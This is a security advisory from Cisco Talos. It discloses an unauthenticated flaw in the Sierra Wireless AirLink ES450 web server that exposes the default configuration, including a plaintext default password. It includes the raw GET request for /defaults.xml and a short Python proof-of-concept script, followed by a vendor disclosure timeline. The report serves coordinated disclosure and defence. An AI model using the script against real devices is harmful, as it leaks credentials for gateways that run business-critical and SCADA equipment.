Talos Vulnerability Report

Summary

An exploitable information disclosure vulnerability exists in the ACEManager functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A HTTP request can result in disclosure of the default configuration for the device. An attacker can send an unauthenticated HTTP request to trigger this vulnerability.

Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

The default configuration of the device is stored in a location that can be requested without any authentication. The configuration contains all of the details of a factory reset, including, but not limited to, the default password in plain text.

The file is served at /defaults.xml, while on the device it is located at /www/pub/defaults.xml. The following request will attempt to download the default configuration.

 GET /defaults.xml HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 If-Modified-Since: Thu, 19 Apr 2018 03:41:36 GMT

This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.

Exploit Proof of Concept

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import socket
import time
import requests


def main():
    if len(sys.argv) < 3 or len(sys.argv) > 3:
        print("Usage : {} [ip address] [port] ".format(sys.argv[0]))
        sys.exit(0)

    ip = sys.argv[1]
    port = sys.argv[2]

    response = requests.get("http://"+ip+":"+port+"/defaults.xml")

    print(response.text)


if __name__ == "__main__":
    main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor’s analysis of issues<br 2019-02-26 - Vendor provided analysis of CVSS scoring
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release